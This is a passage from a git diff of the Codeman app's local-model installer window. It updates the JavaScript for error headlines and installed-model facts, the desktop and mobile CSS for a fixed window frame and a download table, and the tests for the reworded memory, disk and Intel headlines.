localModelCandidates(this._localModelStatus); @@ -1303,10 +1443,15 @@ Object.assign(CodemanApp.prototype, { return null; }, - /** An error as the window shows it: the server's sentence, and its raw detail folded away. */ + /** + * An error as the window shows it: the first sentence of the server's text as the headline, + * what follows it in the body size, and the raw detail folded away. + */ _localModelErrorEl(error) { const box = localModelEl('div', 'lm-error'); - box.appendChild(localModelEl('p', 'lm-title', localModelMessage(error.message))); + const [headline, rest] = localModelSentences(localModelMessage(error.message)); + box.appendChild(localModelEl('p', 'lm-title', headline)); + if (rest) box.appendChild(localModelEl('p', 'lm-lead', rest)); if (typeof error.detail === 'string' && error.detail) { const details = localModelEl('details', 'lm-details'); details.appendChild(localModelEl('summary', '', localModelT('Details'))); @@ -1351,44 +1496,70 @@ Object.assign(CodemanApp.prototype, { return parts; }, + /** + * The line of facts under an installed model: the context, what the model takes now (what + * the runtime reported when the install checked it) and, in the words of the chooser's + * legend, what it can take at its peak (the row's own estimate, so the two figures a person + * meets are told apart instead of read as a contradiction). + */ + _localModelFactsLine(install) { + const loaded = install.loaded || {}; + const context = localModelCount(loaded.context ?? install.context); + const row = localModelCandidates(this._localModelStatus).find( + (candidate) => + install.model && + candidate.modelId === install.model.id && + candidate.context === (loaded.context ?? install.context) + ); + const facts = { context, memory: loaded.memoryGb, peak: row ? localModelWholeGb(row.needGb) : '' }; + const sentences = []; + if (context) sentences.push(localModelT('Context {context} tokens.', facts)); + if (loaded.memoryGb && facts.peak) { + sentences.push( + localModelT( + 'Takes {memory} GB of memory now, and up to about {peak} GB at its peak, with all of the context in use.', + facts + ) + ); + } else if (loaded.memoryGb) { + sentences.push(localModelT('Takes {memory} GB of memory now.', facts)); + } + if (loaded.memoryGb && loaded.onGpu === true) sentences.push(localModelT('All of it is on the GPU.')); + return sentences.join(' '); + }, + _buildLocalModelInstalled() { const ui = this._localModelWindowState(); const install = localModelInstall(this._localModelStatus); const model = install.model ? String(install.model.label || install.model.id || '') : ''; + const error = install.error; const parts = []; - const title = install.running - ? localModelT('{model} is ready on this Mac.', { model }) - : localModelT('{model} is installed on this Mac.', { model }); - parts.push(localModelEl('p', 'lm-title', title)); - // The measured facts, in one line: what the runtime reported when the install checked it. - const loaded = install.loaded || {}; - const facts = { context: localModelCount(loaded.context ?? install.context), memory: loaded.memoryGb }; - let line = ''; - if (loaded.memoryGb && loaded.onGpu === true) { - line = localModelT('Context {context} tokens. Takes {memory} GB of memory when loaded, all on the GPU.', facts); - } else if (loaded.memoryGb) { - line = localModelT('Context {context} tokens. Takes {memory} GB of memory when loaded.', facts); - } else if (facts.context) { - line = localModelT('Context {context} tokens.', facts); + // Something blocks a session: that sentence is the headline, not "is ready". Its one + // action is the main button below. + if (error) { + parts.push(this._localModelErrorEl(error)); + } else { + const title = install.running + ? localModelT('{model} is ready on this Mac.', { model }) + : localModelT('{model} is installed on this Mac.', { model }); + parts.push(localModelEl('p', 'lm-title', title)); } + const state = localModelEl('div', 'lm-state'); - const dot = localModelEl('span', install.running ? 'lm-dot lm-dot-on' : 'lm-dot'); + // Green says "a session can be started". A model that is blocked is not that. + const dot = localModelEl('span', install.running && !error ? 'lm-dot lm-dot-on' : 'lm-dot'); dot.setAttribute('aria-hidden', 'true'); state.appendChild(dot); - state.appendChild( - localModelEl('span', 'lm-state-text', install.running ? localModelT('Running') : localModelT('Stopped')) - ); + const running = install.running ? localModelT('Running') : localModelT('Stopped'); + state.appendChild(localModelEl('span', 'lm-state-text', error ? `${model}, ${running}` : running)); parts.push(state); const about = []; if (install.cliLabel) about.push(localModelT('Runs with {cli}.', { cli: String(install.cliLabel) })); + const line = this._localModelFactsLine(install); if (line) about.push(line); if (about.length) parts.push(localModelEl('p', 'lm-aside', about.join(' '))); - // Something blocks a session: the server's sentence. Its one action is the main button below. - const error = install.error; - if (error) parts.push(this._localModelErrorEl(error)); - if (ui.confirmRemove) { parts.push(this._localModelRemoveEl()); return parts; @@ -1400,9 +1571,12 @@ Object.assign(CodemanApp.prototype, { const can = (action) => install.actions.includes(action); const next = error ? this._localModelNextButton(install, error) : null; + // The screen that ends an install has one button. Stop and Remove are for the window + // opened later (or for this one once anything else was said in it). + const ending = ui.justInstalled === true && can('start-session') && !error && !notice; const foot = localModelEl('div', 'lm-foot'); const buttons = localModelEl('div', 'lm-buttons'); - if (can('remove') && error?.next !== 'remove') { + if (!ending && can('remove') && error?.next !== 'remove') { buttons.appendChild( localModelButton(localModelT('Remove'), { key: 'remove', @@ -1411,7 +1585,7 @@ Object.assign(CodemanApp.prototype, { }) ); } - if (can('stop')) { + if (!ending && can('stop')) { buttons.appendChild( localModelButton(localModelT('Stop'), { key: 'stop', diff --git a/src/web/public/mobile.css b/src/web/public/mobile.css index cfdff19c..fc8fdd63 100644 --- a/src/web/public/mobile.css +++ b/src/web/public/mobile.css @@ -1870,14 +1870,26 @@ html.mobile-init .file-browser-panel { } .local-model-window > .lm-body { - flex: 1; - padding: 1rem 1rem calc(1rem + var(--safe-area-bottom)); + padding: 1rem; } /* The window fills the screen, so its actions sit at the bottom, under the thumb. */ - .lm-body > .lm-foot, - .lm-body > .lm-remove { - margin-top: auto; + .local-model-window > .lm-foot-slot { + padding: 0 1rem calc(1rem + var(--safe-area-bottom)); + } + + /* The short screens (progress, paused, a failure, installed, nothing fits) + hold a few lines. On a screen this tall they sit right above the buttons, + where the eye and the thumb already are, not at the top with half a + screen of nothing between the two. */ + .local-model-window > .lm-body:is( + [data-screen='progress'], + [data-screen='paused'], + [data-screen='failed'], + [data-screen='installed'], + [data-screen='none'] + ) { + justify-content: flex-end; } /* Ralph wizard responsive */ @@ -4332,14 +4344,6 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close { grid-column: 3; } - .lm-model-static .lm-model-name { - grid-column: 1 / span 2; - } - - .lm-model-static .lm-model-speed { - grid-column: 1 / span 2; - } - .lm-foot { flex-direction: column; align-items: stretch; diff --git a/src/web/public/styles.css b/src/web/public/styles.css index 24494294..42f7d2d4 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22315,11 +22315,16 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til row carries the accent on its reading edge and a faint fill. Theme tokens only, never a black or white alpha (those vanish on the light - skins). The bar's track is `--control-border-hover`: the fill of the app's - inputs (`--bg-input`) is the window's own surface on the dark skins, so the - part of the bar that stays free could not be seen. Nothing here is keyed on - a CLI or a model id. The only motion is the bar's width, and it stops under - prefers-reduced-motion. + skins). The bar's track is `--text-muted`: the part of the bar that stays + FREE is half of what the bar says, so it must be seen against the window + (about 3:1 or better on every skin; the fill of the app's inputs, + `--bg-input`, is the window's own surface on the dark skins, and a border + token is 1.5:1). Nothing here is keyed on a CLI or a model id. The only + motion is the bar's width, and it stops under prefers-reduced-motion. + + The window is ONE frame for the whole flow: a fixed height on desktop, the + header on top, the buttons in a foot of their own (`.lm-foot-slot`) and the + body scrolling between them. A click never moves the next button away. ═══════════════════════════════════════════════════════════════ */ /* The welcome button: one more chip, on its own line under the launchers. */ @@ -22337,13 +22342,16 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til flex-shrink: 0; } -/* The window: App Settings' chrome (`.modal`, `.modal-header`, `.modal-close`) - at a width of its own, the body scrolling under a fixed header. */ +/* The window: App Settings' chrome (`.modal`, `.modal-header`, the boxed + close button) at a width of its own. One frame for every screen: the height + is fixed, so the header, the close button and the main button stay where + they are from the chooser to "Start a session". */ .modal-content.local-model-window { display: flex; flex-direction: column; width: min(640px, 94vw); max-width: min(640px, 94vw); + height: min(600px, 88vh); max-height: 88vh; } @@ -22351,8 +22359,36 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til flex-shrink: 0; } +/* App Settings' close button: a 30px box, not the bare glyph of a plain modal. */ +.local-model-window > .modal-header .modal-close { + display: inline-flex; + align-items: center; + justify-content: center; + width: 30px; + height: 30px; + padding: 0; + border-radius: 9px; + font-size: 1.2rem; + color: var(--text-dim); + background: transparent; + transition: + background 0.15s ease, + color 0.15s ease, + transform 0.1s ease; +} + +.local-model-window > .modal-header .modal-close:hover { + background: var(--bg-hover); + color: var(--text); +} + +.local-model-window > .modal-header .modal-close:active { + transform: scale(0.94); +} + .local-model-window > .lm-body { display: flex; + flex: 1; flex-direction: column; gap: 1.05rem; min-height: 0; @@ -22361,6 +22397,37 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til text-align: start; } +/* The short screens (progress, paused, a failure, installed, nothing fits) + hold a few lines in a frame sized for the chooser: they sit in the middle of + it, a status in its own room, not a heading with a void under it. */ +.local-model-window + > .lm-body:is( + [data-screen='progress'], + [data-screen='paused'], + [data-screen='failed'], + [data-screen='installed'], + [data-screen='none'] + ) { + justify-content: center; + padding-bottom: 2.2rem; +} + +/* The foot of the frame: the buttons of the screen (or the Remove question), + outside the part that scrolls. */ +.local-model-window > .lm-foot-slot { + flex-shrink: 0; + padding: 0 1.25rem 1.15rem; + text-align: start; +} + +.local-model-window > .lm-foot-slot:empty { + display: none; +} + +.lm-foot-slot p { + margin: 0; +} + .lm-body p, .lm-body h4 { margin: 0; @@ -22437,6 +22504,11 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til font-weight: 680; letter-spacing: -0.012em; color: var(--text); +} + +/* Only the figure that ticks (the download) holds its digits in fixed cells. + In a sentence fixed cells leave a hole around every 1. */ +.lm-figure-count { font-variant-numeric: tabular-nums; } @@ -22449,7 +22521,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til .lm-bar { height: 10px; border-radius: 999px; - background: var(--control-border-hover); + background: var(--text-muted); overflow: hidden; } @@ -22464,9 +22536,9 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til display: flex; justify-content: space-between; gap: 1rem; - font-size: 0.68rem; + font-size: 0.7rem; line-height: 1.4; - color: var(--text-muted); + color: var(--text-dim); } .lm-legend > :last-child { @@ -22507,8 +22579,8 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til .lm-caption { padding-bottom: 0.3rem; - font-size: 0.68rem; - color: var(--text-muted); + font-size: 0.7rem; + color: var(--text-dim); } .lm-caption-label { @@ -22551,15 +22623,6 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til background: rgba(var(--accent-rgb), 0.075); } -/* The chosen row of the confirm screen: the same line, nothing to press. */ -.lm-model-static { - cursor: default; -} - -.lm-model-static .lm-model-name { - grid-column: 1 / span 2; -} - .lm-radio { box-sizing: border-box; width: 14px; @@ -22674,60 +22737,79 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til font-size: 0.74rem; } -/* ── the confirm screen ───────────────────────────────────────────── */ +/* ── the confirm screen: the download as a table ──────────────────── */ +/* One row per thing that is fetched: its name in the text colour with what it + is underneath, its size at the right edge, and the total under a rule in the + strong weight. The table is the screen; nothing else on it competes. */ .lm-sizes { display: flex; flex-direction: column; } .lm-sizes .lm-heading { - margin-bottom: 0.3rem; + margin-bottom: 0.35rem; + font-size: 0.84rem; + font-weight: 650; + letter-spacing: -0.005em; + color: var(--text); } .lm-size-row { display: flex; align-items: baseline; justify-content: space-between; - gap: 1rem; - padding: 0.28rem 0; - font-size: 0.8rem; - color: var(--text-dim); + gap: 1.2rem; + padding: 0.6rem 0; + border-top: 1px solid var(--border); } .lm-size-what { + display: flex; + flex-direction: column; + gap: 0.18rem; min-width: 0; +} + +.lm-size-name { + font-size: 0.86rem; + font-weight: 600; + color: var(--text); + overflow-wrap: anywhere; +} + +.lm-size-note { + font-size: 0.74rem; + line-height: 1.45; + color: var(--text-dim); overflow-wrap: anywhere; } .lm-size-gb { flex-shrink: 0; + font-size: 0.86rem; + font-weight: 560; color: var(--text); font-variant-numeric: tabular-nums; white-space: nowrap; } .lm-size-total { - margin-top: 0.25rem; - padding-top: 0.55rem; - border-top: 1px solid var(--border); - font-weight: 650; - color: var(--text); + padding-top: 0.75rem; + border-top-color: var(--text-muted); } -.lm-agent, -.lm-where { - display: flex; - flex-direction: column; - gap: 0.35rem; +.lm-size-total .lm-size-name, +.lm-size-total .lm-size-gb { + font-size: 1.06rem; + font-weight: 680; + letter-spacing: -0.012em; } -/* A literal command and a folder: text to read and to copy, so it is set in - the mono face and selects whole. */ +/* A literal command: text to read and to copy, so it is set in the mono face + and selects whole. It sits in its row, under the sentence that names it. */ .lm-command { display: block; - padding: 0.42rem 0.6rem; - border-radius: 6px; - background: var(--bg-input); + margin-top: 0.15rem; color: var(--text); font-family: var(--font-mono); font-size: 0.72rem; @@ -22736,6 +22818,21 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til user-select: all; } +/* Where it goes: one quiet line under the table. */ +.lm-where { + font-size: 0.74rem; + line-height: 1.5; + color: var(--text-dim); + overflow-wrap: anywhere; +} + +.lm-path { + color: var(--text); + font-family: var(--font-mono); + font-size: 0.72rem; + user-select: all; +} + /* ── progress: the steps ARE a sequence, so they are a list ───────── */ .lm-steps { display: flex; @@ -22853,7 +22950,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til } .lm-details { - margin-top: 0.55rem; + margin-top: 0.2rem; font-size: 0.74rem; color: var(--text-dim); } @@ -22882,6 +22979,13 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til overflow-wrap: anywhere; } +/* An error: its first sentence as the headline, the rest in the body size. */ +.lm-error { + display: flex; + flex-direction: column; + gap: 0.4rem; +} + .lm-remove { display: flex; flex-direction: column; @@ -22922,9 +23026,9 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til .lm-foot-note { min-width: 0; - font-size: 0.72rem; + font-size: 0.74rem; line-height: 1.45; - color: var(--text-muted); + color: var(--text-dim); } .lm-buttons { diff --git a/test/local-model-recommend.test.ts b/test/local-model-recommend.test.ts index 4a6ee5f8..71726247 100644 --- a/test/local-model-recommend.test.ts +++ b/test/local-model-recommend.test.ts @@ -604,10 +604,11 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => { tested: false, // 13.6 x 307 / 100. tokensPerSecond: 41.8, - tag: { kind: 'best', label: 'Best fit' }, + // It only just fits, and the tag says so. + tag: { kind: 'best-tight', label: 'Best fit, tight' }, }); expect(result.headline).toEqual({ text: 'Best fit for this Mac' }); - expect(result.notes).toEqual([{ text: 'Not yet tested by us on a Mac like this.' }]); + expect(result.notes).toEqual([{ text: 'Codeman has not run this on a Mac like this yet.' }]); expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); }); @@ -651,7 +652,7 @@ describe('the Mac mini (Mac16,10: Apple M4, 16 GB)', () => { verdict: 'none', reason: 'memory', headline: { - text: 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + text: 'With {memory} GB of memory, this Mac cannot run a model that can drive a coding agent.', vars: { memory: '16' }, }, notes: [], @@ -818,7 +819,7 @@ describe('verdict none', () => { it('answers so for an Intel Mac, whose sysctl has no arm64 flag', () => { const hw = without(mac(32, intelChip, { arch: 'x64' }), 'arm64', 'translated', 'wiredLimitMb'); const result = recommend(hw, STOCK, ALL_INSTALLED); - expectNone(result, 'intel', 'This Mac has an Intel processor. Local coding models need Apple silicon.'); + expectNone(result, 'intel', 'Local coding models need Apple silicon, and this Mac has an Intel processor.'); expect(result.budgetBytes).toBe(0); expect(result.budgetGb).toBe('0.0'); }); @@ -868,7 +869,7 @@ describe('verdict none', () => { STOCK, ALL_INSTALLED ); - expectNone(result, 'macos', 'This Mac runs macOS {version}. Local models need macOS {minimum} or newer.'); + expectNone(result, 'macos', 'Local models need macOS {minimum} or newer, and this Mac runs macOS {version}.'); expect(result.headline.vars).toEqual({ version: '13.6.7', minimum: '14' }); // The budget is still reported: the Mac itself is able. expect(result.budgetBytes).toBe(35 * GIB); @@ -898,7 +899,7 @@ describe('verdict none', () => { expectNone( result, 'memory', - 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.' + 'With {memory} GB of memory, this Mac cannot run a model that can drive a coding agent.' ); expect(result.headline.text).toBe(LOCAL_MODEL_LABELS.noneMemory); // The size the Mac is sold as (what About This Mac shows), not 8 x 2^30 bytes as 8.6 decimal GB. @@ -931,7 +932,10 @@ describe('verdict none', () => { // The need is the smallest one at a context a usable harness works at (the 9B at 65536), // not the 9B at 32768, which fits and which only the gated harness could use. expect(result.headline.vars).toEqual({ budget: '16.1', need: '17.0' }); - expect(result.headline.text).toMatch(/^Codeman estimates/); + // Both figures are said as estimates ("about"), in one sentence. + expect(result.headline.text).toBe( + 'This Mac can give a model about {budget} GB of memory, and the smallest model a coding agent can work with needs about {need} GB.' + ); expect(result.headline.text).not.toContain('{memory}'); }); @@ -1045,24 +1049,24 @@ describe('verdict none', () => { // 12 GiB free: even the smallest download (6.55 GB) leaves 5.9 GiB. const hw = mac(48, 'Apple M4 Max', { freeDiskBytes: 12 * GIB, freeDiskGb: formatGb(12 * GIB) }); const result = recommend(hw, STOCK, ALL_INSTALLED); + // One sentence with the one number that says what to do. expectNone( result, 'disk', - 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download, and {reserve} GB must stay free after it. {free} GB is free now. Free up about {missing} GB.' + 'Free up about {missing} GB of disk space to install the smallest model that fits this Mac.' ); // download + 10 GiB - free = 6,550,825,373 + 10,737,418,240 - 12,884,901,888 bytes. - expect(result.headline.vars).toEqual({ download: '6.6', reserve: '10.7', free: '12.9', missing: '4.4' }); + expect(result.headline.vars).toEqual({ missing: '4.4' }); expect(result.budgetBytes).toBe(35 * GIB); }); - it('gives the reader every number of the sum: download + reserve - free = missing', () => { - // 12 GB free is more than the 6.6 GB download, so without the reserve "not enough" reads false. + it('says what to free, counting the reserve: download + 10 GiB - free', () => { + // 12 GB free is more than the 6.6 GB download: what is missing is the reserve on top of it. const hw = mac(32, 'Apple M4', { freeDiskBytes: 12 * GB, freeDiskGb: formatGb(12 * GB) }); const vars = recommend(hw, STOCK, ALL_INSTALLED).headline.vars as Record<string, string>; - expect(vars).toEqual({ download: '6.6', reserve: '10.7', free: '12.0', missing: '5.3' }); - expect(vars.reserve).toBe(formatGb(DISK_HEADROOM_BYTES)); - // Within the rounding of four one-decimal figures. - expect(Number(vars.download) + Number(vars.reserve) - Number(vars.free)).toBeCloseTo(Number(vars.missing), 0); + // 6,550,825,373 + 10,737,418,240 - 12,000,000,000 bytes. + expect(vars).toEqual({ missing: '5.3' }); + expect(Number(vars.missing)).toBeCloseTo((6_550_825_373 + DISK_HEADROOM_BYTES - 12 * GB) / GB, 1); }); it('names the smallest model that fits the MEMORY, not the smallest of the catalogue', () => { @@ -1074,7 +1078,8 @@ describe('verdict none', () => { const hw = mac(48, 'Apple M4 Max', { freeDiskBytes: 12 * GIB, freeDiskGb: formatGb(12 * GIB) }); const result = recommend(hw, STOCK, facts); expect(result.reason).toBe('disk'); - expect(result.headline.vars?.download).toBe('13.8'); + // 13,793,441,427 + 10 GiB - 12 GiB: the 20B's download, not the 9B's. + expect(result.headline.vars).toEqual({ missing: '11.6' }); }); it('drops only the models that do not leave 10 GiB, picks among the rest, and says what was left out', () => { @@ -1095,7 +1100,7 @@ describe('verdict none', () => { text: '{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.', vars: { model: 'Qwen3.8 27B', missing: '7.0' }, }, - { text: 'Not yet tested by us on a Mac like this.' }, + { text: 'Codeman has not run this on a Mac like this yet.' }, ]); }); @@ -1165,9 +1170,10 @@ describe('verdict none', () => { expect(recommend(hw, STOCK, ALL_INSTALLED).verdict).toBe('ok'); }); - it('formats the free size itself when the hardware carries only the bytes', () => { + it('needs only the bytes of the free disk, not its text', () => { const hw = without(mac(48, 'Apple M4 Max', { freeDiskBytes: 3 * GB }), 'freeDiskGb'); - expect(recommend(hw, STOCK, ALL_INSTALLED).headline.vars?.free).toBe('3.0'); + // 6,550,825,373 + 10 GiB - 3 GB. + expect(recommend(hw, STOCK, ALL_INSTALLED).headline.vars).toEqual({ missing: '14.3' }); }); it('comes after the memory and the harness', () => { @@ -1191,7 +1197,7 @@ describe('verdict limited', () => { expect(result.headline).toEqual({ text: 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.', }); - expect(result.notes).toEqual([{ text: 'Not yet tested by us on a Mac like this.' }]); + expect(result.notes).toEqual([{ text: 'Codeman has not run this on a Mac like this yet.' }]); }); it('holds when the pick is a tight fit too (32 GB with a fast chip)', () => { @@ -1231,7 +1237,7 @@ describe('verdict limited', () => { { text: 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.', }, - { text: 'Not yet tested by us on a Mac like this.' }, + { text: 'Codeman has not run this on a Mac like this yet.' }, ]); }); @@ -1665,7 +1671,7 @@ describe('the tested flag and the word "Recommended"', () => { const result = recommend(hw, catalog, ALL_INSTALLED); expect(result.pick).toMatchObject({ modelId: 'qwen3.8:27b', cli: 'opencode', tested: false }); expect(result.headline).toEqual({ text: 'Best fit for this Mac' }); - expect(result.notes).toEqual([{ text: 'Not yet tested by us on a Mac like this.' }]); + expect(result.notes).toEqual([{ text: 'Codeman has not run this on a Mac like this yet.' }]); } }); @@ -1727,9 +1733,12 @@ describe('what each row of the chooser carries', () => { expect(result.alternatives[3]).not.toHaveProperty('tag'); }); - it('says "Best fit" on a pick that is tight: the memory bar shows how full it is', () => { + it('says "Best fit, tight" on a pick that only just fits: the words must not say less than the bar', () => { const result = recommend(mac(48, 'Apple M4 Pro'), STOCK, ALL_INSTALLED); - expect(result.pick).toMatchObject({ fit: 'tight', tag: { kind: 'best', label: 'Best fit' } }); + expect(result.pick).toMatchObject({ fit: 'tight', tag: { kind: 'best-tight', label: 'Best fit, tight' } }); + // A pick with room says "Best fit" and nothing more. + const roomy = recommend(mac(64, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + expect(roomy.pick).toMatchObject({ fit: 'good', tag: { kind: 'best', label: 'Best fit' } }); }); it('says "Tested on a Mac like this" in place of every other tag', () => { @@ -1785,8 +1794,9 @@ describe('what each row of the chooser carries', () => { for (const hw of SWEEP) { const result = recommend(hw, STOCK, ALL_INSTALLED); if (!result.pick) continue; - expect(result.pick.tag?.kind).toBe('best'); - expect(result.alternatives.some((c) => c.tag?.kind === 'best')).toBe(false); + // The pick's tag is the pick's alone: "Best fit", with ", tight" when it only just fits. + expect(result.pick.tag?.kind).toBe(result.pick.fit === 'tight' ? 'best-tight' : 'best'); + expect(result.alternatives.some((c) => c.tag?.kind === 'best' || c.tag?.kind === 'best-tight')).toBe(false); } }); }); diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index a13ea890..b577c4c4 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -185,6 +185,9 @@ function mount(options: { i18n?: boolean; visible?: boolean } = {}) { group: document.getElementById('localModelGroup')!, modal: document.getElementById('localModelModal')!, body: document.getElementById('localModelWindowBody')!, + /** The body and the foot together: where a screen's controls are. */ + frame: document.querySelector('#localModelModal .local-model-window')!, + foot: document.getElementById('localModelWindowFoot')!, }; } @@ -195,13 +198,18 @@ function texts(root: ParentNode, selector: string): string[] { return [...root.querySelectorAll(selector)].map((el) => el.textContent ?? ''); } +/** The frame the buttons live in: the window's body AND its foot (the buttons are in the foot). */ +function frameOf(body: Element): Element { + return body.closest('.local-model-window') ?? body; +} + /** The window's buttons, by their label. */ function buttons(body: Element): string[] { - return texts(body, '.lm-buttons button'); + return texts(frameOf(body), '.lm-buttons button'); } function press(body: Element, label: string) { - const found = [...body.querySelectorAll<HTMLButtonElement>('.lm-buttons button')].find( + const found = [...frameOf(body).querySelectorAll<HTMLButtonElement>('.lm-buttons button')].find( (el) => el.textContent === label ); expect(found, `no button "${label}" among ${JSON.stringify(buttons(body))}`).toBeTruthy(); @@ -806,7 +814,7 @@ describe('the App Settings row', () => { await app.loadLocalModel(); expect(texts(page.row, '.set-row-label')).toEqual(['No model installed']); expect(texts(page.row, '.set-row-desc')).toEqual([ - 'This Mac has 8 GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + 'With 8 GB of memory, this Mac cannot run a model that can drive a coding agent.', ]); expect(page.rowButton.textContent).toBe('Open'); app.openLocalModelWindow(); @@ -823,8 +831,12 @@ describe('the chooser', () => { const { body } = page; expect(body.dataset.screen).toBe('choose'); expect(texts(body, '.lm-hw')).toEqual(['Apple M5 Pro, 48 GB memory, 897 GB free']); - expect(texts(body, '.lm-figure')).toEqual(['About 36.0 of 37.6 GB of memory']); - expect(texts(body, '.lm-legend span')).toEqual(['The model at 131,072 tokens of context', 'What stays free']); + // An estimate, in whole GB: "about 36 of 38", never "36.0 of 37.6". + expect(texts(body, '.lm-figure')).toEqual(['About 36 of 38 GB of memory']); + expect(texts(body, '.lm-legend span')).toEqual([ + 'The model at its peak, with all 131,072 tokens of context in use', + 'What stays free', + ]); const group = body.querySelector('[role="radiogroup"]')!; const label = page.document.getElementById(group.getAttribute('aria-labelledby')!)!; @@ -839,6 +851,14 @@ describe('the chooser', () => { 'Qwen3.5 9B', ]); expect(rows.map((row) => row.getAttribute('aria-checked'))).toEqual(['true', 'false', 'false', 'false', 'false']); + // The order can be read off the Download column: the pick, then the others largest first. + expect(rows.map((row) => row.querySelector('.lm-model-size')!.textContent)).toEqual([ + '23.1 GB', + '17.7 GB', + '13.8 GB', + '10.4 GB', + '6.6 GB', + ]); // One tab stop: the selected row. expect(rows.map((row) => row.getAttribute('tabindex'))).toEqual(['0', '-1', '-1', '-1', '-1']); // One line a row: name, one tag, speed, download size. @@ -859,7 +879,9 @@ describe('the chooser', () => { ]); expect(texts(group, '.lm-model-size')).toEqual(['23.1 GB', '17.7 GB', '13.8 GB', '10.4 GB', '6.6 GB']); expect(texts(body, '.lm-caption span')).toEqual(['Recommended for this Mac', 'Speed', 'Download']); - expect(texts(body, '.lm-foot-note')).toEqual(['No account and no API key. The model runs only on this Mac.']); + expect(texts(frameOf(body), '.lm-foot-note')).toEqual([ + 'No account and no API key. The model runs only on this Mac.', + ]); expect(buttons(body)).toEqual(['Install on this Mac']); }); @@ -896,7 +918,7 @@ describe('the chooser', () => { for (const budgetSource of ['measured', 'wired-limit'] as const) { serve(status({ budgetBytes: 40157944217, budgetGb: '40.2', budgetSource })); await app.loadLocalModel({ force: true }); - expect(texts(page.body, '.lm-figure')).toEqual(['About 36.0 of 40.2 GB of memory']); + expect(texts(page.body, '.lm-figure')).toEqual(['About 36 of 40 GB of memory']); expect(texts(page.body, '.lm-figure-aside')).toEqual([]); expect(page.body.textContent).not.toContain('estimated'); } @@ -921,7 +943,7 @@ describe('the chooser', () => { expect(texts(page.body, '.lm-caption-label')).toEqual(['Models that fit this Mac']); expect(texts(page.body, '.lm-notes .lm-aside')).toEqual([ 'Qwen3.6 35B-A3B fits the memory of this Mac too, but its download needs about 0.4 GB more free disk space.', - 'Not yet tested by us on a Mac like this.', + 'Codeman has not run this on a Mac like this yet.', ]); }); @@ -934,7 +956,7 @@ describe('the chooser', () => { expect(body.querySelector('.lm-runs-label')!.getAttribute('for')).toBe(select().id); expect([...select().options].map((option) => option.textContent)).toEqual(['OpenCode', 'Claude Code']); expect(select().selectedOptions[0].textContent).toBe('OpenCode'); - expect(texts(body, '.lm-runs-hint')).toEqual(['Not on this Mac yet. It is installed for you.']); + expect(texts(body, '.lm-runs-hint')).toEqual(['Not on this Mac yet. Codeman installs it for you.']); // No value in the page is a CLI id: the choice is a position in the server's list. expect([...select().options].map((option) => option.value)).toEqual(['0', '1']); @@ -1051,9 +1073,9 @@ describe('the memory bar', () => { ); const expected: Array<[number, string, string, string]> = [ - [1, '81', 'About 30.6 of 37.6 GB of memory', 'The model at 131,072 tokens of context'], - [4, '45', 'About 17.0 of 37.6 GB of memory', 'The model at 65,536 tokens of context'], - [0, '96', 'About 36.0 of 37.6 GB of memory', 'The model at 131,072 tokens of context'], + [1, '81', 'About 31 of 38 GB of memory', 'The model at its peak, with all 131,072 tokens of context in use'], + [4, '45', 'About 17 of 38 GB of memory', 'The model at its peak, with all 65,536 tokens of context in use'], + [0, '96', 'About 36 of 38 GB of memory', 'The model at its peak, with all 131,072 tokens of context in use'], ]; for (const [index, percent, figure, legend] of expected) { page.body.querySelectorAll<HTMLElement>('[role="radio"]')[index].click(); @@ -1091,20 +1113,23 @@ describe('the confirm screen', () => { expect(body.dataset.screen).toBe('confirm'); // Nothing was sent: this is the question. expect(body.querySelectorAll('[role="radio"]')).toHaveLength(0); - expect(texts(body, '.lm-model .lm-model-name')).toEqual(['Qwen3.6 35B-A3B']); - expect(texts(body, '.lm-size-row').map((text) => text.replace(/\s+/g, ' '))).toEqual([ - 'Qwen3.6 35B-A3B23.1 GB', - 'Ollama 0.40.15, the program that runs the model0.2 GB', - 'Total23.3 GB', + // The table is the screen: the chosen row first, the runtime, the missing coding agent + // with its installer's literal command, and the total. + expect(texts(body, '.lm-heading')).toEqual(['What will be downloaded']); + expect(texts(body, '.lm-size-name')).toEqual(['Qwen3.6 35B-A3B', 'Ollama 0.40.15', 'OpenCode', 'Total']); + expect(texts(body, '.lm-size-note')).toEqual([ + 'At 131,072 tokens of context, with OpenCode', + 'The program that runs the model', + 'Not on this Mac yet. Its own installer fetches it with this command:', ]); + expect(texts(body, '.lm-size-gb')).toEqual(['23.1 GB', '0.2 GB', '23.3 GB']); expect(body.querySelector('.lm-size-total .lm-size-gb')!.textContent).toBe('23.3 GB'); - // The coding 